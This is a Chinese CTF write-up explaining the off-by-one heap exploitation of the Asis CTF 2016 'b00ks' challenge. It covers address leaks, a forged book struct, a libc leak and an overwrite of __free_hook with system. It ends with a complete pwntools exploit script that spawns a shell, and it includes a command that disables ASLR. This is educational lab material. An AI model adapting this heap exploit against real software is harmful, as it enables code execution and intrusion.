使用电脑浏览效果更佳!
摘要
记录分析off-by-one(off-by-null,只是覆盖一字节内容不同而已)的漏洞利用原理,使得萌新如我在看ctf-wiki上的pwn的glibc利用手法能够深入的了解off-by-one的原理。此处挑选的是上面的例一:Asis CTF 2016 b00ks进行详细的介绍,说实话,把这道题弄懂确实费了我好多时间,(多少次在放弃heap pwn与断断续续的不甘心中把这道题看完了,一些分析过程中也加深了对Linux下从ELF文件到加载到内存的映射结构的理解,包括动态链接与映射,内存页保护,malloc与mmap的调用分配内存大小的区别 )。不禁想起俞敏洪在演讲中提到的,愚笨的我只能比其他人一遍又一遍的学,终究我也能够学会。
分析过程
堆内存的pwn利用本质
通过伪造内存,在内存控制字段中可以伪造fake_pointer指针,获得指向libc.so映射的地址(如修改 __malloc_hook
与 __free_hook
内容为one_gadget或者system(“/bin/bs”)等开shell函数),或者获得指向got表项内存对got表重定位函数地址进行修改。进而控制程序的流程。
安全机制
Full RELRO意味着got表项的覆写无法实现对got表的覆写。但可以通过修改 __free_hook
或者 __malloc_hook
进行利用。
定位程序漏洞
自实现的read函数存在off-by-one漏洞
利用步骤
main程序流程
create_book()的heap malloc分配流程
book_name = malloc(v1);
book_description = malloc(v1);
v3 = malloc(0x20uLL);//malloc_book_struct,记录name,description的指针
book_struct(记录book信息)结构体内存
综上一次create_book的内存结构(从上-下:低地址-高地址内存)低内存覆写高内存内容
内存覆写(off-by-one)
关闭地址随机(PIE):
$ cat /proc/sys/kernel/randomize_va_space
# echo 0 > /proc/sys/kernel/randomize_va_space
从ELF文件加载(映射)到虚拟内存的地址即可通过laod_image_base+offset计算得出真正的地址。如此处.data的全局变量:
内存映射结构:
# cat /proc/pid/maps
pwndbg>vmmap
可以知道:
镜像映射基址为:0x555555554000
libc映射基址为:(动态连接)0x7ffff7a0d000
global_book_array: 0x555555554000 + 0x202060
global_author_name:0x555555554000 + 0x202040
即可以global_author_name 可以向高地址(.data段)多写一字节\x00,通过此可以泄露book1_struct_address (create_book1覆盖了name的字符串结束\x00,通过print(author_name即可泄露),book2_struct_address (由于book2d的book_name,book_descrtiption都大于malloc的上限,即通过mmap进行分配,如上图分析的malloc分配流程,此时heap段记录book2的信息只有malloc(0x20) book_struct,即可以通过已知的book1_struct_address + sizeof(book1_struct)即可计算保存book2信息的结构体在heap的地址,即book1_struct_address+0x30)
init_author_name("A"*32)
create(140,"book1_name",140,"create book1")
新建book1覆盖32bit author_name结尾\x00,通过print_book泄露book1_struct地址,进而计算book2_struct
此时堆的结构
通过print_book泄露book1_struct地址,计算book2_struct地址
# leak book1_struct_address print_book_info() p.recvuntil("A"*32) tmp = p.recvuntil("\x0a") book1_struct_address = u64(tmp[:-1].ljust(8,"\x00")) book2_struct_address = book1_struct_address + 0x30
覆盖修改global_author_name,off_by_null覆盖global_book_array的book1_struct_address 0x0000555555758160 为 0x0000555555758100,恰好落在book1的description域内(这也是为什么要140字节的description,使得我们可以伪造一个book1的内存块)
# create book2,name和description都通过mmap分配,通过获取book2_struct的name指针域获取到libc的地址 create_book() # fake book1_struct payload = "A"*0x40+p64(1)+p64(book2_struct_address+8)+p64(book2_struct_address+8)+p64(0x8c) edit_book_description(1,payload) change_author_name("A"*32)
可以看到在create_book2的时候,由于name,description都有mmap分配,堆的内存分布
vmmap的内存
通过change_author_name的off-by-null伪造的fake-book1
通过book1_description伪造book1_struct控制写任意内存
泄露libc基址(使得开启PIE也能继续利用)
通过上面内存映射分析与global_author_name的off-by-one漏洞分析中知道,可以通过后create_book1(往global_book_array全局数组)覆盖global_author_name的\x00泄露book_struct结构地址,同时也可以通过修改global_author_name再次覆盖global_book_array数组中的第一项即book1_struct结构体指针低位为\x00,即改小真实的book1_struct地址,使得落入book1_description中,通过book1_description的伪造fake_book1_struct,其中fake_book1_struct->book_name = book2_struct_bookname_ptr(book2_struct_address+8),fake_book1_struct->book_description = book2_struct_bookdescripion_ptr(book2_struct_address+16),但他们实际的内容是mmap函数得到的地址指针,通过打印book1_struct的信息可以泄露出libc的地址(mmap的地址与libc加载的地址有一个固定的偏移)
覆写__free_hook
free(*ptr) 每一次free都会检查__free_hook
的存在。此处通过覆写__free_hook
为system()
的地址,ptr为‘/bin/bash’字符串的地址,每次free(ptr)即变为了system(“/bin/bash”),即开启一个shell
通过泄露libc基址可以知道,fake_book1_struct的book_description指针指向book2_struct的book_name域,即以该地址以高地址为其fake_book1的description的具体内容,通过修改fake_book1,即可修改book2_struct的book_name指针为”/bin/bash”指针,book2_description指针为__free_hook
,在次通过修改book2即可将__free_hook
修改为system()
的地址,即可达到开shell的目的
有上一步知道构造的fake_book1的name指针域指向book2的name域(即拿到可控任意内存指针,可以进行覆写)
edit_book_description(1,p64(binsh_addr)+p64(free_hook)) # 在修改book1的name_ptr指向的内存(即book2的name_ptr所存地址)为bin_sh_ptr的时候,也覆盖了book2_descripiton指针指向(关联)__free_hook edit_book_description(2,p64(system)) # 接着修改上一步的_free_hook为system函数地址 delete_book(2) # 相当于system(ptr_name) = system(bin_sh_ptr)
效果如
分析流程转EXP
#coding:utf-8
from pwn import *
p = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def init_author_name(name):
p.sendlineafter("Enter author name: ",name)
def create_book(name_size,book_name,des_size,description):
p.sendlineafter("> ","1")
p.sendlineafter("Enter book name size: ",str(name_size))
p.sendlineafter("Enter book name (Max 32 chars): ",book_name)
p.sendlineafter("Enter book description size: ",str(des_size))
p.sendlineafter("Enter book description: ",description)
def delete_book(idx):
p.sendlineafter("> ","2")
p.sendlineafter("Enter the book id you want to delete: ",str(idx))
def edit_book_description(idx,description):
p.sendlineafter("> ","3")
p.sendlineafter("Enter the book id you want to edit: ",str(idx))
p.sendlineafter("Enter new book description: ",description)
def print_book_info():
# ID: 1
# Name: tang
# Description: new book1 edit descript
# Author: tang
p.sendlineafter("> ","4")
def change_author_name(name):
# name max length = 32 off-by-one
p.sendlineafter("> ","5")
p.sendlineafter("Enter author name: ",name)
# 泄露book1_struct,book2_struct 地址
init_author_name("A"*32)
create_book(140,"tang",140,"create book1")
pause()
# pwnlib.gdb.attach(proc.pidof(p)[0])
# leak book1_struct_address
print_book_info()
p.recvuntil("A"*32)
tmp = p.recvuntil("\x0a") # print_book补上的一个\n
book1_struct_address = u64(tmp[:-1].ljust(8,"\x00"))
book2_struct_address = book1_struct_address + 0x30
log.info(str(hex(book1_struct_address)))
log.info(str(hex(book2_struct_address)))
create_book(0x22000,"book2 name",0x22000,"create book2")
pause()
#fake book1_description
payload = "A"*0x40+p64(1)+p64(book2_struct_address+8)+p64(book2_struct_address+8)+p64(0x8c)
edit_book_description(1,payload)
change_author_name("B"*32)
pause()
# leak libc address
print_book_info()
p.recvuntil("Name: ")
tmp = p.recvuntil("\x0a")
book2_name_ptr = u64(tmp[:-1].ljust(8,"\x00"))
log.info(str(hex(book2_name_ptr)))
# 关闭PIE后的固定偏移offset计算
libc_base = 0x7ffff7a0d000
mmap_base = 0x7ffff7fb8010 # book2_name_ptr mmap address
offset = mmap_base - libc_base
libcbase = book2_name_ptr - offset
log.info(hex(libcbase))
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
edit_book_description(1,p64(binsh_addr)+p64(free_hook)) # 在修改book1的name_ptr指向的内存(即book2的name_ptr所存地址)为bin_sh_ptr的时候,也覆盖了book2_descripiton指针指向(关联)__free_hook
edit_book_description(2,p64(system)) # 接着修改上一步的_free_hook为system函数地址
delete_book(2)
p.interactive()